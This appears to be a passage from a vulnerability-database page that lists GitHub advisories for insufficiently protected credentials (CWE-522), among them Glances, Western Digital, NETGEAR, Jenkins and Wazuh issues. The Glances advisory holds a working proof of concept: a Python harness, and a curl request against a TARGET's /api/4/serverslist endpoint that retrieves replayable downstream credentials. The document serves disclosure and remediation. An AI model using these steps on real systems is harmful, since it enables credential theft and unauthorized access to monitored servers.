Common Weakness Enumeration

CWE-522

Allowed-with-Review

Insufficiently Protected Credentials

Abstraction: Class · Status: Incomplete

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

1811 vulnerabilities reference this CWE, most recent first.

GHSA-QXX3-FWC4-2MV7

Vulnerability from github – Published: 2024-07-31 15:31 – Updated: 2024-09-30 15:30
VLAI
Details

A “CWE-256: Plaintext Storage of a Password” affecting the administrative account allows an attacker with physical access to the machine to retrieve the password in cleartext.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3082"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-256",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-31T14:15:07Z",
    "severity": "MODERATE"
  },
  "details": "A \u201cCWE-256: Plaintext Storage of a Password\u201d affecting the administrative account allows an attacker with physical access to the machine to retrieve the password in cleartext.",
  "id": "GHSA-qxx3-fwc4-2mv7",
  "modified": "2024-09-30T15:30:43Z",
  "published": "2024-07-31T15:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3082"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2024-3082"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R297-P3V4-WP8M

Vulnerability from github – Published: 2026-03-16 16:35 – Updated: 2026-03-18 21:48
VLAI
Summary
Glances's Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`
Details

Summary

In Central Browser mode, the /api/4/serverslist endpoint returns raw server objects from GlancesServersList.get_servers_list(). Those objects are mutated in-place during background polling and can contain a uri field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.

If the front Glances Browser/API instance is started without --password, which is supported and common for internal network deployments, /api/4/serverslist is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.

Details

The Browser API route simply returns the raw servers list:

# glances/outputs/glances_restful_api.py:799-805
def _api_servers_list(self):
    self.__update_servers_list()
    return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])

The main API router is only protected when the front instance itself was started with --password. Otherwise there are no authentication dependencies at all:

# glances/outputs/glances_restful_api.py:475-480
if self.args.password:
    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)

The Glances web server binds to 0.0.0.0 by default:

# glances/main.py:425-427
parser.add_argument(
    '--bind',
    default='0.0.0.0',
    dest='bind_address',
)

During Central Browser polling, server entries are modified in-place and gain a uri field:

# glances/servers_list.py:141-148
def __update_stats(self, server):
    server['uri'] = self.get_uri(server)
    ...
    if server['protocol'].lower() == 'rpc':
        self.__update_stats_rpc(server['uri'], server)
    elif server['protocol'].lower() == 'rest' and not import_requests_error_tag:
        self.__update_stats_rest(f"{server['uri']}/api/{__apiversion__}", server)

For protected servers, get_uri() loads the saved password from the [passwords] section (or the default password), hashes it, and embeds it directly in the URI:

# glances/servers_list.py:119-130
def get_uri(self, server):
    if server['password'] != "":
        if server['status'] == 'PROTECTED':
            clear_password = self.password.get_password(server['name'])
            if clear_password is not None:
                server['password'] = self.password.get_hash(clear_password)
        uri = 'http://{}:{}@{}:{}'.format(
            server['username'],
            server['password'],
            server['name'],
            server['port'],
        )
    else:
        uri = 'http://{}:{}'.format(server['name'], server['port'])
    return uri

Password lookup falls back to a global default:

# glances/password_list.py:55-58
try:
    return self._password_dict[host]
except (KeyError, TypeError):
    return self._password_dict['default']

The sample configuration explicitly supports browser-wide default password reuse:

# conf/glances.conf:656-663
[passwords]
# localhost=abc
# default=defaultpassword

The secret embedded in uri is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:

# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash
# glances/client.py:56-57
if args.password != "":
    self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'

The Browser WebUI also consumes that raw uri directly and redirects the user to it:

// glances/outputs/static/js/Browser.vue:83-103
fetch("api/4/serverslist", { method: "GET" })
...
window.location.href = server.uri;

So once server.uri contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.

PoC

Step 1: Verified local live proof that server objects contain credential-bearing URIs

The following command executes the real glances/servers_list.py update logic against a live local HTTP server that always returns 401. This forces Glances to mark the downstream server as PROTECTED and then retry with the saved/default password. After the second refresh, the in-memory server list contains a uri field with embedded credentials.

cd D:\bugcrowd\glances\repo
@'
import importlib.util
import json
import sys
import threading
import types
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from defusedxml import xmlrpc as defused_xmlrpc

pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg

client_mod = types.ModuleType('glances.client')
class GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):
    def set_timeout(self, timeout):
        self.timeout = timeout
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod

globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = json.loads
sys.modules['glances.globals'] = globals_mod

logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
    debug=lambda *a, **k: None,
    warning=lambda *a, **k: None,
    info=lambda *a, **k: None,
    error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod

password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod

dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod

static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod

spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        _ = self.rfile.read(int(self.headers.get('Content-Length', '0')))
        self.send_response(401)
        self.end_headers()
    def log_message(self, *args):
        pass

httpd = HTTPServer(('127.0.0.1', 0), Handler)
port = httpd.server_address[1]
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()

class FakePassword:
    def get_password(self, host=None):
        return 'defaultpassword'
    def get_hash(self, password):
        return f'hash({password})'

sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
sl._columns = [{'plugin': 'system', 'field': 'hr_name'}]
server = {
    'key': f'target:{port}',
    'name': '127.0.0.1',
    'ip': '203.0.113.77',
    'port': port,
    'protocol': 'rpc',
    'username': 'glances',
    'password': '',
    'status': 'UNKNOWN',
    'type': 'STATIC',
}
sl.get_servers_list = lambda: [server]

sl._GlancesServersList__update_stats(server)
sl._GlancesServersList__update_stats(server)
httpd.shutdown()
thread.join(timeout=2)
print(json.dumps(sl.get_servers_list(), indent=2))
'@ | python -

Verified output:

[
  {
    "key": "target:57390",
    "name": "127.0.0.1",
    "ip": "203.0.113.77",
    "port": 57390,
    "protocol": "rpc",
    "username": "glances",
    "password": null,
    "status": "PROTECTED",
    "type": "STATIC",
    "uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390",
    "columns": [
      "system_hr_name"
    ]
  }
]

This is the same raw object shape that /api/4/serverslist returns.

Step 2: Remote reproduction on a live Browser instance

  1. Configure Glances Browser mode with a saved default password for downstream servers:
[passwords]
default=SuperSecretBrowserPassword
  1. Start the Browser/API instance without front-end authentication:
glances --browser -w -C ./glances.conf
  1. Ensure at least one protected downstream server is polled and marked PROTECTED.

  2. From any machine that can reach the Glances Browser API, fetch the raw server list:

curl -s http://TARGET:61208/api/4/serverslist
  1. Observe entries like:
{
  "name": "internal-glances.example",
  "status": "PROTECTED",
  "uri": "http://glances:<pbkdf2_hash>@internal-glances.example:61209"
}

Impact

  • Unauthenticated credential disclosure: When the front Browser API runs without --password, any reachable user can retrieve downstream Glances authentication secrets from /api/4/serverslist.
  • Credential replay: The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.
  • Fleet-wide blast radius: A single Browser instance can hold passwords for many downstream servers via host-specific entries or [passwords] default, so one exposed API can disclose credentials for an entire monitored fleet.
  • Chains with the earlier CORS issue: Even when the front instance uses --password, the permissive default CORS behavior can let a malicious website read /api/4/serverslist from an authenticated browser session and steal the same downstream credentials cross-origin.

Recommended Fix

Do not expose credential-bearing fields in API responses. At minimum, strip uri, password, and any derived credential material from /api/4/serverslist responses and make the frontend derive navigation targets without embedded auth.

# glances/outputs/glances_restful_api.py

def _sanitize_server(self, server):
    safe = dict(server)
    safe.pop('password', None)
    safe.pop('uri', None)
    return safe

def _api_servers_list(self):
    self.__update_servers_list()
    servers = self.servers_list.get_servers_list() if self.servers_list else []
    return GlancesJSONResponse([self._sanitize_server(server) for server in servers])

And in the Browser WebUI, construct navigation URLs from non-secret fields (ip, name, port, protocol) instead of trusting a backend-supplied server.uri.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.2-dev01"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:35:01Z",
    "nvd_published_at": "2026-03-18T18:16:28Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nIn Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret.\n\nIf the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance.\n\n## Details\n\nThe Browser API route simply returns the raw servers list:\n\n```python\n# glances/outputs/glances_restful_api.py:799-805\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    return GlancesJSONResponse(self.servers_list.get_servers_list() if self.servers_list else [])\n```\n\nThe main API router is only protected when the front instance itself was started with `--password`. Otherwise there are no authentication dependencies at all:\n\n```python\n# glances/outputs/glances_restful_api.py:475-480\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)\n```\n\nThe Glances web server binds to `0.0.0.0` by default:\n\n```python\n# glances/main.py:425-427\nparser.add_argument(\n    \u0027--bind\u0027,\n    default=\u00270.0.0.0\u0027,\n    dest=\u0027bind_address\u0027,\n)\n```\n\nDuring Central Browser polling, server entries are modified in-place and gain a `uri` field:\n\n```python\n# glances/servers_list.py:141-148\ndef __update_stats(self, server):\n    server[\u0027uri\u0027] = self.get_uri(server)\n    ...\n    if server[\u0027protocol\u0027].lower() == \u0027rpc\u0027:\n        self.__update_stats_rpc(server[\u0027uri\u0027], server)\n    elif server[\u0027protocol\u0027].lower() == \u0027rest\u0027 and not import_requests_error_tag:\n        self.__update_stats_rest(f\"{server[\u0027uri\u0027]}/api/{__apiversion__}\", server)\n```\n\nFor protected servers, `get_uri()` loads the saved password from the `[passwords]` section (or the `default` password), hashes it, and embeds it directly in the URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n    if server[\u0027password\u0027] != \"\":\n        if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n            clear_password = self.password.get_password(server[\u0027name\u0027])\n            if clear_password is not None:\n                server[\u0027password\u0027] = self.password.get_hash(clear_password)\n        uri = \u0027http://{}:{}@{}:{}\u0027.format(\n            server[\u0027username\u0027],\n            server[\u0027password\u0027],\n            server[\u0027name\u0027],\n            server[\u0027port\u0027],\n        )\n    else:\n        uri = \u0027http://{}:{}\u0027.format(server[\u0027name\u0027], server[\u0027port\u0027])\n    return uri\n```\n\nPassword lookup falls back to a global default:\n\n```python\n# glances/password_list.py:55-58\ntry:\n    return self._password_dict[host]\nexcept (KeyError, TypeError):\n    return self._password_dict[\u0027default\u0027]\n```\n\nThe sample configuration explicitly supports browser-wide default password reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# localhost=abc\n# default=defaultpassword\n```\n\nThe secret embedded in `uri` is not the cleartext password, but it is still a reusable Glances authentication credential. Client connections send that pbkdf2-derived hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:56-57\nif args.password != \"\":\n    self.uri = f\u0027http://{args.username}:{args.password}@{args.client}:{args.port}\u0027\n```\n\nThe Browser WebUI also consumes that raw `uri` directly and redirects the user to it:\n\n```javascript\n// glances/outputs/static/js/Browser.vue:83-103\nfetch(\"api/4/serverslist\", { method: \"GET\" })\n...\nwindow.location.href = server.uri;\n```\n\nSo once `server.uri` contains credentials, those credentials are not just used internally; they are exposed to API consumers and frontend JavaScript.\n\n## PoC\n\n### Step 1: Verified local live proof that server objects contain credential-bearing URIs\n\nThe following command executes the real `glances/servers_list.py` update logic against a live local HTTP server that always returns `401`. This forces Glances to mark the downstream server as `PROTECTED` and then retry with the saved/default password. After the second refresh, the in-memory server list contains a `uri` field with embedded credentials.\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@\u0027\nimport importlib.util\nimport json\nimport sys\nimport threading\nimport types\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom defusedxml import xmlrpc as defused_xmlrpc\n\npkg = types.ModuleType(\u0027glances\u0027)\npkg.__apiversion__ = \u00274\u0027\nsys.modules[\u0027glances\u0027] = pkg\n\nclient_mod = types.ModuleType(\u0027glances.client\u0027)\nclass GlancesClientTransport(defused_xmlrpc.xmlrpc_client.Transport):\n    def set_timeout(self, timeout):\n        self.timeout = timeout\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules[\u0027glances.client\u0027] = client_mod\n\nglobals_mod = types.ModuleType(\u0027glances.globals\u0027)\nglobals_mod.json_loads = json.loads\nsys.modules[\u0027glances.globals\u0027] = globals_mod\n\nlogger_mod = types.ModuleType(\u0027glances.logger\u0027)\nlogger_mod.logger = types.SimpleNamespace(\n    debug=lambda *a, **k: None,\n    warning=lambda *a, **k: None,\n    info=lambda *a, **k: None,\n    error=lambda *a, **k: None,\n)\nsys.modules[\u0027glances.logger\u0027] = logger_mod\n\npassword_list_mod = types.ModuleType(\u0027glances.password_list\u0027)\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules[\u0027glances.password_list\u0027] = password_list_mod\n\ndynamic_mod = types.ModuleType(\u0027glances.servers_list_dynamic\u0027)\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules[\u0027glances.servers_list_dynamic\u0027] = dynamic_mod\n\nstatic_mod = types.ModuleType(\u0027glances.servers_list_static\u0027)\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules[\u0027glances.servers_list_static\u0027] = static_mod\n\nspec = importlib.util.spec_from_file_location(\u0027tested_servers_list\u0027, Path(\u0027glances/servers_list.py\u0027))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_POST(self):\n        _ = self.rfile.read(int(self.headers.get(\u0027Content-Length\u0027, \u00270\u0027)))\n        self.send_response(401)\n        self.end_headers()\n    def log_message(self, *args):\n        pass\n\nhttpd = HTTPServer((\u0027127.0.0.1\u0027, 0), Handler)\nport = httpd.server_address[1]\nthread = threading.Thread(target=httpd.serve_forever, daemon=True)\nthread.start()\n\nclass FakePassword:\n    def get_password(self, host=None):\n        return \u0027defaultpassword\u0027\n    def get_hash(self, password):\n        return f\u0027hash({password})\u0027\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nsl._columns = [{\u0027plugin\u0027: \u0027system\u0027, \u0027field\u0027: \u0027hr_name\u0027}]\nserver = {\n    \u0027key\u0027: f\u0027target:{port}\u0027,\n    \u0027name\u0027: \u0027127.0.0.1\u0027,\n    \u0027ip\u0027: \u0027203.0.113.77\u0027,\n    \u0027port\u0027: port,\n    \u0027protocol\u0027: \u0027rpc\u0027,\n    \u0027username\u0027: \u0027glances\u0027,\n    \u0027password\u0027: \u0027\u0027,\n    \u0027status\u0027: \u0027UNKNOWN\u0027,\n    \u0027type\u0027: \u0027STATIC\u0027,\n}\nsl.get_servers_list = lambda: [server]\n\nsl._GlancesServersList__update_stats(server)\nsl._GlancesServersList__update_stats(server)\nhttpd.shutdown()\nthread.join(timeout=2)\nprint(json.dumps(sl.get_servers_list(), indent=2))\n\u0027@ | python -\n```\n\nVerified output:\n\n```json\n[\n  {\n    \"key\": \"target:57390\",\n    \"name\": \"127.0.0.1\",\n    \"ip\": \"203.0.113.77\",\n    \"port\": 57390,\n    \"protocol\": \"rpc\",\n    \"username\": \"glances\",\n    \"password\": null,\n    \"status\": \"PROTECTED\",\n    \"type\": \"STATIC\",\n    \"uri\": \"http://glances:hash(defaultpassword)@127.0.0.1:57390\",\n    \"columns\": [\n      \"system_hr_name\"\n    ]\n  }\n]\n```\n\nThis is the same raw object shape that `/api/4/serverslist` returns.\n\n### Step 2: Remote reproduction on a live Browser instance\n\n1. Configure Glances Browser mode with a saved default password for downstream servers:\n\n```ini\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start the Browser/API instance without front-end authentication:\n\n```bash\nglances --browser -w -C ./glances.conf\n```\n\n3. Ensure at least one protected downstream server is polled and marked `PROTECTED`.\n\n4. From any machine that can reach the Glances Browser API, fetch the raw server list:\n\n```bash\ncurl -s http://TARGET:61208/api/4/serverslist\n```\n\n5. Observe entries like:\n\n```json\n{\n  \"name\": \"internal-glances.example\",\n  \"status\": \"PROTECTED\",\n  \"uri\": \"http://glances:\u003cpbkdf2_hash\u003e@internal-glances.example:61209\"\n}\n```\n\n## Impact\n\n- **Unauthenticated credential disclosure:** When the front Browser API runs without `--password`, any reachable user can retrieve downstream Glances authentication secrets from `/api/4/serverslist`.\n- **Credential replay:** The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.\n- **Fleet-wide blast radius:** A single Browser instance can hold passwords for many downstream servers via host-specific entries or `[passwords] default`, so one exposed API can disclose credentials for an entire monitored fleet.\n- **Chains with the earlier CORS issue:** Even when the front instance uses `--password`, the permissive default CORS behavior can let a malicious website read `/api/4/serverslist` from an authenticated browser session and steal the same downstream credentials cross-origin.\n\n## Recommended Fix\n\nDo not expose credential-bearing fields in API responses. At minimum, strip `uri`, `password`, and any derived credential material from `/api/4/serverslist` responses and make the frontend derive navigation targets without embedded auth.\n\n```python\n# glances/outputs/glances_restful_api.py\n\ndef _sanitize_server(self, server):\n    safe = dict(server)\n    safe.pop(\u0027password\u0027, None)\n    safe.pop(\u0027uri\u0027, None)\n    return safe\n\ndef _api_servers_list(self):\n    self.__update_servers_list()\n    servers = self.servers_list.get_servers_list() if self.servers_list else []\n    return GlancesJSONResponse([self._sanitize_server(server) for server in servers])\n```\n\nAnd in the Browser WebUI, construct navigation URLs from non-secret fields (`ip`, `name`, `port`, `protocol`) instead of trusting a backend-supplied `server.uri`.",
  "id": "GHSA-r297-p3v4-wp8m",
  "modified": "2026-03-18T21:48:47Z",
  "published": "2026-03-16T16:35:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-r297-p3v4-wp8m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32633"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/879ef8688ffa1630839549751d3c7ef9961d361e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances\u0027s Browser API Exposes Reusable Downstream Credentials via `/api/4/serverslist`"
}

GHSA-R2P3-RMQJ-8988

Vulnerability from github – Published: 2022-12-09 18:30 – Updated: 2022-12-12 18:30
VLAI
Details

Insufficiently Protected Credentials vulnerability in the remote backups application on Western Digital My Cloud devices that could allow an attacker who has gained access to a relevant endpoint to use that information to access protected data. This issue affects: Western Digital My Cloud My Cloud versions prior to 5.25.124 on Linux.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-29839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-09T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficiently Protected Credentials vulnerability in the remote backups application on Western Digital My Cloud devices that could allow an attacker who has gained access to a relevant endpoint to use that information to access protected data. This issue affects: Western Digital My Cloud My Cloud versions prior to 5.25.124 on Linux.",
  "id": "GHSA-r2p3-rmqj-8988",
  "modified": "2022-12-12T18:30:28Z",
  "published": "2022-12-09T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29839"
    },
    {
      "type": "WEB",
      "url": "https://www.westerndigital.com/support/product-security/wdc-22019-my-cloud-firmware-version-5-25-124"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R2RG-J8GW-JHRW

Vulnerability from github – Published: 2022-05-24 17:20 – Updated: 2022-05-24 17:20
VLAI
Details

Certain NETGEAR devices are affected by disclosure of administrative credentials. This affects RBK752 before 3.2.15.25, RBK753 before 3.2.15.25, RBK753S before 3.2.15.25, RBR750 before 3.2.15.25, RBS750 before 3.2.15.25, RBK852 before 3.2.10.11, RBK853 before 3.2.10.11, RBR850 before 3.2.10.11, RBS850 before 3.2.10.11, RBK842 before 3.2.10.11, RBR840 before 3.2.10.11, and RBS840 before 3.2.10.11.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-14426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-18T17:15:00Z",
    "severity": "LOW"
  },
  "details": "Certain NETGEAR devices are affected by disclosure of administrative credentials. This affects RBK752 before 3.2.15.25, RBK753 before 3.2.15.25, RBK753S before 3.2.15.25, RBR750 before 3.2.15.25, RBS750 before 3.2.15.25, RBK852 before 3.2.10.11, RBK853 before 3.2.10.11, RBR850 before 3.2.10.11, RBS850 before 3.2.10.11, RBK842 before 3.2.10.11, RBR840 before 3.2.10.11, and RBS840 before 3.2.10.11.",
  "id": "GHSA-r2rg-j8gw-jhrw",
  "modified": "2022-05-24T17:20:53Z",
  "published": "2022-05-24T17:20:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14426"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000061931/Security-Advisory-for-Admin-Credential-Disclosure-on-Some-Wifi-Systems-PSV-2020-0033"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-R32R-F6WR-CC3W

Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2022-12-29 00:33
VLAI
Summary
Password stored in plain text by Jenkins TestComplete support Plugin
Details

Jenkins TestComplete support Plugin prior to version 2.5.2 stores a password unencrypted in job config.xml files on the Jenkins master where it can be viewed by users with Extended Read permission, or access to the master file system. Version 2.5.2 contains a patch for this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:TestComplete"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-2209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-256",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-29T00:33:25Z",
    "nvd_published_at": "2020-07-02T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins TestComplete support Plugin prior to version 2.5.2 stores a password unencrypted in job `config.xml` files on the Jenkins master where it can be viewed by users with Extended Read permission, or access to the master file system. Version 2.5.2 contains a patch for this issue.",
  "id": "GHSA-r32r-f6wr-cc3w",
  "modified": "2022-12-29T00:33:25Z",
  "published": "2022-05-24T17:22:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2209"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/testcomplete-plugin/commit/00988873c6ea7e8d081380e4262538960efd6bf1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/testcomplete-plugin/commit/91dae11421b70a334d2058286e30402cf2f86d4b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/testcomplete-plugin/commit/ca783d3b6be28b13f82865afa6a8888795d57d10"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/testcomplete-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2020-07-02/#SECURITY-1686"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/07/02/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Password stored in plain text by Jenkins TestComplete support Plugin"
}

GHSA-R33M-965M-8CHX

Vulnerability from github – Published: 2026-03-27 18:31 – Updated: 2026-03-27 18:31
VLAI
Details

Wazuh version 4.12.0 contains an exposure vulnerability in GitHub Actions workflow artifacts that allows attackers to extract the GITHUB_TOKEN from uploaded artifacts. Attackers can use the exposed token within a limited time window to perform unauthorized actions such as pushing malicious commits or altering release tags.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-15617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-27T18:16:03Z",
    "severity": "HIGH"
  },
  "details": "Wazuh version 4.12.0 contains an exposure vulnerability in GitHub Actions workflow artifacts that allows attackers to extract the GITHUB_TOKEN from uploaded artifacts. Attackers can use the exposed token within a limited time window to perform unauthorized actions such as pushing malicious commits or altering release tags.",
  "id": "GHSA-r33m-965m-8chx",
  "modified": "2026-03-27T18:31:28Z",
  "published": "2026-03-27T18:31:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-6xqr-4q5g-xc7x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15617"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/exposure-of-the-github-token-in-wazuh-workflow-run-artifact"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R388-5H2X-P38F

Vulnerability from github – Published: 2025-11-17 09:30 – Updated: 2025-11-17 09:30
VLAI
Details

EasyFlow GP developed by Digiwin has an Insufficiently Protected Credentials vulnerability, allowing privileged remote attackers to obtain plaintext credentials of AD and system mail from the system frontend.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-17T08:16:22Z",
    "severity": "MODERATE"
  },
  "details": "EasyFlow GP developed by Digiwin has an Insufficiently Protected Credentials vulnerability, allowing privileged remote attackers to obtain plaintext credentials of AD and system mail from the system frontend.",
  "id": "GHSA-r388-5h2x-p38f",
